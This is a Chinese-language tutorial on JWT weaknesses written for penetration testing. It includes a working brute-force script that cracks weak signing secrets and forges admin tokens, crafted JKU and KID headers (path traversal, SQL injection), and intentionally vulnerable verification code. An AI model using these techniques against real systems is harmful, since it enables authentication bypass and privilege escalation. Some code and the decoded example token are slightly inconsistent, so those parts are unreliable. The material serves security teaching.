1.基本介绍
在互联网应用中,用户身份认证保证 了 系统安全。以往最常见的可能就是 Cookie、Session这些传统技术,但现在渗透测试最常见和开发者更偏向的身份凭证就是——JWT(JSON Web Token),RFC 7519。最常见于 HTTP 请求头 Token 和 Authorization 字段。
JWT 携带签名部分,具备无状态性,服务器不需要存储会话信息,减轻存储压力,轻松支持多个域名或微服务之间的认证,更适用于微服务、分布式等场景。
JWT 主要由三部分组成,使用符号点 . 分隔:
头部(Header):主要是令牌类型和使用的签名算法,如下:
{
"alg": "HS256",
"typ": "JWT"
}载荷(Payload):主要的信息载荷,有三种类型,包含一些预定义字段,也可以自定义信息字段。通过时间戳或者其他随机字段,可以让签名不固定变化。最常见的也就以下信息:
{
"sub": "12345",
"name": "admin",
"exp": 1759736497,
"role": "admin"
}签名(Signature):使用头部指定算法对 base64 编码后的头部、载荷和密钥进行签名。构成为
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )。
以上最终JWT格式为:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NSIsIm5hbWUiOiJhZG1pbiIsImV4cCI6MTc1OTczNjQ5Nywicm9sZSI6ImFkbWluIn0.xfkuSjvejgsd4U8YyHstp_pkDXkMeMBAXd0gk-pNPaM。
2.相关利用
2.1 签名未校验/空算法
JWT的核心安全机制依赖于签名验证,以确保Token未被篡改。但如果服务器在验证JWT时只检查 payload 用户身份,未检查签名,或头部设置alg: none(无签名算法),我们可随意修改Payload 进行伪造。比如,伪造管理员进行高权限操作,比如重置密码,新增管理员;伪造同级身份,在审批流程伪造身份审批通过。
def handle_request(token):
try:
# 1. 从请求头获取JWT Token
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return error_response("未提供认证Token")
token = auth_header[7:] # 去掉"Bearer "前缀
# 2. 提取
header_encoded, payload_encoded, signature_encoded = parts.split('.')
# 3. 解码Payload
payload_json = base64url_decode(payload_encoded)
payload = json.loads(payload_json)
# 4. 检查必需字段
if 'sub' not in payload or 'role' not in payload:
return False, "Token缺少必要字段"
user_id = payload['sub']
user_role = payload['role']
# 5. 验证用户是否存在
if not user_exists_in_db(user_id):
return False, "用户不存在"
# 6. 验证用户权限是否正确
if not check_user_permission(user_id, user_role):
return False, "权限验证失败"
# 7. JWT验证"通过"
return True, payload
except Exception as e:
return False, f"Token处理错误: {str(e)}"2.2 弱密钥
如果密钥太简单(如secret、password)导致可以被暴力破解。破解到密钥后。我们可伪造任意用户身份 Token。
现有的 JWT 工具有很多,如 hashcat,TscanPlus。当然,也可以自己利用现有 JWT 或加解密库实现一个简单的破解程序。
import jwt
target_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.uyfcas1phRDNZYP6aEr3lGCP4FpBHwZe1F9aWVEs-xw"
# 常见弱密钥字典
weak_secrets = [
"secret", "password", "123456",
"admin", "qwerty", "jwtsecret",
"p@ssword"
]
# 爆破函数
def brute_force_jwt(jwt_token, secret_list):
header, payload, signature = jwt_token.split('.')
for secret in secret_list:
try:
new_token = jwt.encode(
{"user": "guest", "role": "user"}, # 确保Payload和原始一致
key=secret,
algorithm="HS256"
)
# 检查新Token的签名是否匹配
if new_token.split('.')[2] == signature:
print(f"[+] 密钥破解成功: {secret}")
return secret
except Exception as e:
print(e)
continue
print("[-] 未找到匹配密钥")
return None
# 执行爆破
found_secret = brute_force_jwt(target_jwt, weak_secrets)
# 使用破解的密钥伪造Token(提升权限)
if found_secret:
malicious_payload = {"user": "admin", "role": "admin"}
fake_jwt = jwt.encode(malicious_payload, key=found_secret, algorithm="HS256")
print(f"[+] 伪造的Admin Token: {fake_jwt}")
## 输出如:
## [+] 密钥破解成功: p@ssword
## [+] 伪造的Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.NBJVmZY-FUHBGFqgWJbXcCDrOeZvJlrsgyY5Kxguhi02.3 JKU 注入
JWT 头部可以使用 jku(JWK Set URL)字段指定公钥集合地址。服务器验证 JWT 签名时,会访问该地址获取 JWK 公钥,并根据 kid 选择对应密钥。正常情况下,jku 应该是服务器预先配置并信任的固定地址。
如果服务器直接信任 JWT 头部中的 jku 地址,没有校验域名和公钥来源,可以生成自己的公私钥,将公钥放在可控服务器的 JWK 文件中,再使用对应私钥签发伪造 Token。
比如,将 JWT 头部修改为:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://example.com/jwks.json",
"kid": "test-key"
}
jwks.json 文件内容如下:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "test-key",
"n": "公钥模数",
"e": "AQAB"
}
]
}
随后将 Payload 中的普通用户修改为管理员,并使用对应的 RSA 私钥重新签名:
{
"sub": "1",
"name": "admin",
"role": "admin"
}
如果服务器访问了指定的 jku 地址,并使用其中的公钥验证签名,那么签发的 Token 也会被认为是合法 Token,从而伪造任意用户身份。
2.4 KID 注入
JWT 头部中的 kid(Key ID)用于标识签名使用的密钥。当服务器保存了多个 JWT 密钥时,可以根据 kid 查找对应密钥进行签名验证。RFC 并没有规定 kid 的具体格式,本质上是一个由客户端提交的字符串。
比如,正常 JWT 头部为:
{
"alg": "HS256",
"typ": "JWT",
"kid": "jwt-secret-01"
}
服务器可能通过以下方式读取对应密钥:
header = jwt.get_unverified_header(token)
kid = header.get("kid")
key_path = "/app/jwt-keys/" + kid
secret = open(key_path, "r").read()
payload = jwt.decode(
token,
secret,
algorithms=["HS256"]
)
如果服务器直接将 kid 拼接到文件路径中,没有限制路径穿越字符,可以修改 kid,使服务器读取密钥目录以外的文件:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../tmp/test-key"
}
如果知道目标文件的内容,或者可以提前写入一个可控文件,就可以将该文件内容作为 HMAC 密钥,重新签发管理员 Token。
还有另外一种,我们可以尝试将 kid 修改为:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}Linux 中读取 /dev/null 会立即返回 EOF,因此读取到的内容通常是空字节串 b""。如果 JWT 库允许使用空字符串作为 HMAC 密钥,我们就可以使用相同的空密钥重新签发 JWT。
除了文件路径以外,一些系统还会使用 kid 从数据库中查询密钥:
sql = "SELECT secret FROM jwt_keys WHERE kid = '" + kid + "'"
如果直接将 kid 拼接到 SQL 语句中,可能产生 SQL 注入。可以尝试改变密钥查询结果,使服务器使用已知或可控的密钥验证 JWT。
kid 注入的本质不是修改 kid 就可以绕过认证,而是服务器在使用 kid 查找密钥时,存在路径穿越、SQL 注入或不安全的密钥选择逻辑,当然以上都是理论上问题,实际场景比较少见。
2.5 密钥硬编码
一些组件/开发者将JWT密钥直接硬编码在代码或默认配置文件未经修改,如果是开源或者公开组件代码,会导致密钥被利用。
比较经典的就是 Nacos 默认密钥,如果没注意修改,那么可以利用默认密钥伪造 Token 读取后台业务配置文件。

2.6 会话续期
JWT通常设置一定的有效期,如字段 exp。正常来说,每次会话请求时,除了检查身份以外,还是检查是否已过期。为了用户体验性,会额外进行自动续期检查,比如,在 token 还有 15 分钟或者 1/5 时间过期时,自动签发新 token。
服务器不会进行对 JWT 进行额外记录与存储。如果没有进行额外的校验和吊销机制,那么就可以利用即将过期的 Token 无限制的签发 Token。
# 模拟业务JWT验证处理
def handle_request(request):
# 1. 从请求头获取JWT Token
auth_header = request.headers.get('Authorization')
if not auth_header or not auth_header.startswith('Bearer '):
return error_response("未提供认证Token")
token = auth_header[7:] # 去掉"Bearer "前缀
# 2. 验证JWT签名和基本格式
if not verify_token_signature(token):
return error_response("Token签名无效")
# 3. 解码Token获取Payload(不验证过期时间)
try:
payload = decode_jwt_payload(token) # 只解码,不验证exp
user_id = payload.get('sub')
exp_time = payload.get('exp')
except:
return error_response("Token格式错误")
# 4. 检查Token是否已过期
current_time = get_current_timestamp()
if exp_time < current_time:
return error_response("Token已过期,请重新登录")
# 5. 自动续期检查
token_ttl = exp_time - current_time # 剩余有效期(秒)
total_ttl = 3600 # Token总有效期1小时
if token_ttl < 900: # 如果剩余时间少于15分钟
# 自动签发新Token(使用相同的Payload,更新exp时间)
new_exp_time = current_time + total_ttl # 重新设置为1小时后
new_payload = payload.copy()
new_payload['exp'] = new_exp_time
# 重新签名,没有记录续期状态
new_token = generate_jwt(new_payload)
# 直接在Cookie或自定义响应头中返回新Token
set_response_header('New-Access-Token', new_token)
print(f"[续期] 用户 {user_id} 的Token已自动续期")
# 6. 正常处理业务请求
return process_business_request(user_id)2.7 敏感信息泄露
前面说过,载荷部分可以随意自定义,如果开发者为了开发方便或者不注意,把一些敏感信息如手机号、邮箱或者直接将对象转储字符串到载荷部分中,就可以通过简单的 Base64 解码获取敏感信息,来进行进一步的利用。当然,前提是我们能够获取到会话 Token。
Token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIxNWQ5ZDFjYTM4ZDVkZWU3IiwidXNlcm5hbWUiOiJhZG1pbiJ9.rsnj7dl8TlUjEzGerF-jRDeBUJlPxkNeVEhSSa5HskU
解码:{"alg": "HS256","typ": "JWT"}.{"name": "admin","password": "15d9d1ca38d5dee7","role":"admin"}.签名3.结语
以上是经常遇到的利用 JWT 的方式,如果还有其他方式补充或者有什么描述错误的地方,欢迎一起交流学习。
参考链接: